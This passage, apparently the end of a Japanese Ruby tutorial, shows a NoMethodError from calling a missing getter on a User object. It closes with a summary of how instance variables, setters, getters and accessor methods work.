=> undefined method `name' for #<User:0x00007fc7c48d87c0 @name="bob"> (NoMethodError)
Did you mean?  name=
```

###まとめ
インスタンス変数はクラスの外から参照することができない
セッターゲッターがあることでクラスの外からインスタンス変数を**参照**したり**更新**することができる
アクセサメソッド使うとセッターとゲッターの定義を**省略**することができる